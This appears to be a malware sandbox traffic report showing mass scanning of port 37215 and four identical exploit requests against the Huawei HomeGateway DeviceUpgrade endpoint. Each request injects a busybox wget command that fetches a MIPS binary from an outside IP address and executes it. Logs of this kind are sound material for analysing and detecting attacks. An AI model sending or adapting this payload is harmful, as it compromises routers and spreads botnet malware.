Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 2.217.238.229:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.170.220.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.39.46.188:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 145.226.109.199:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 62.211.230.191:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.75.7.123:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 45.66.224.69:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.9.124.75:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 132.138.56.157:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.202.142.227:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.221.171.153:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.245.217.147:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 74.150.75.112:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 147.51.234.67:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.0.114.19:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.193.72.174:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.242.167.238:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 200.141.52.116:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.82.183.221:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.37.172.29:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 139.12.82.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 90.248.66.146:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.159.191.244:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.64.80.92:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 9.73.159.192:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 50.57.241.122:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.255.173.132:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.126.166.212:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.134.136.111:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 122.17.193.76:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.137.158.144:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.92.120.177:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.19.213.5:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.237.218.135:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.136.234.55:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.54.197.142:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.4.47.90:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.111.78.100:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.15.134.223:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.111.216.244:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.254.233.222:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.215.7.255:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.9.28.254:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.75.83.35:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.55.196.149:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 184.147.3.85:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.224.38.9:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.177.0.52:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 118.141.59.166:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 108.151.160.195:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.91.155.240:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.68.61.11:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 91.173.242.161:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.19.230.208:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.222.55.120:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.10.237.34:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.4.2.253:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.146.243.108:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.226.64.50:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.225.8.134:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.142.106.219:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.117.154.97:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 220.143.66.159:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 130.78.237.145:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.30.168.26:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.34.63.65:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.155.51.112:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 157.71.69.37:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.135.170.80:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.236.105.210:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.104.92.251:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 207.127.51.72:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.160.222.121:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.113.19.59:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.98.70.111:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 37.101.18.241:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.74.1.238:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.2.207.201:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 196.65.40.20:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.195.88.84:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.129.45.207:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.134.101.114:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.56.121.128:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.93.193.219:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.97.168.69:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.241.144.187:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.99.92.149:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.69.154.82:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.167.103.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.19.155.71:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.34.57.86:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 156.144.58.72:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 197.240.197.125:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:64815 -> 41.60.57.94:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 79.137.249.147:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.203.135.53:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 46.177.66.181:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 46.182.56.109:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.227.22.71:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.11.159.151:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 62.186.202.61:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.229.91.190:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.249.18.158:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.98.103.85:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.181.126.62:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.106.9.135:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.114.49.99:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.117.254.177:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.231.186.223:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.177.242.238:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.31.3.28:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.114.219.213:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.41.241.184:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.78.49.160:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.106.4.73:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.135.169.48:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 79.189.135.12:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.42.62.95:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 79.103.78.237:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.226.96.235:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.198.176.37:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.209.120.142:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 46.85.62.101:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.121.95.78:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.249.53.215:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 77.28.204.69:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.4.142.208:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.71.62.179:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 62.112.249.72:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.108.201.238:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 46.40.196.187:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.121.205.110:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.174.87.44:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.139.150.130:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.27.220.21:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.54.234.186:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.10.60.93:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.89.192.206:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.188.31.154:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.17.59.164:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.71.160.200:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.24.104.33:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.180.103.129:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.149.164.174:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.58.49.195:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.82.4.173:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.142.91.200:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 62.250.57.46:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.137.186.232:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.187.39.185:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.35.248.201:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.48.249.15:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.90.97.111:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.90.217.13:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.116.114.86:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 62.218.204.180:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 79.54.153.43:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 121.144.116.101:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.255.115.115:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.246.29.188:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.36.15.52:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.209.211.211:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.247.228.184:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.182.214.46:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.151.110.125:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 77.200.56.149:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.107.94.140:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.36.226.97:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.151.105.224:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.238.144.161:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 188.99.97.12:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.195.127.217:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.118.85.232:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 77.22.151.161:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 79.74.19.122:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.90.243.117:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.27.88.164:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 37.3.223.99:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.67.94.207:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.191.170.118:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.220.121.37:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.138.238.69:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 77.51.166.107:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 178.96.74.139:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 213.92.243.203:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.209.182.134:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.83.208.240:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 141.110.220.226:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 193.250.70.129:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 46.129.154.172:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 5.169.200.51:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 89.59.156.33:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 62.158.195.198:8083 |
Source: global traffic | TCP traffic: 192.168.2.23:1763 -> 176.100.16.246:8083 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
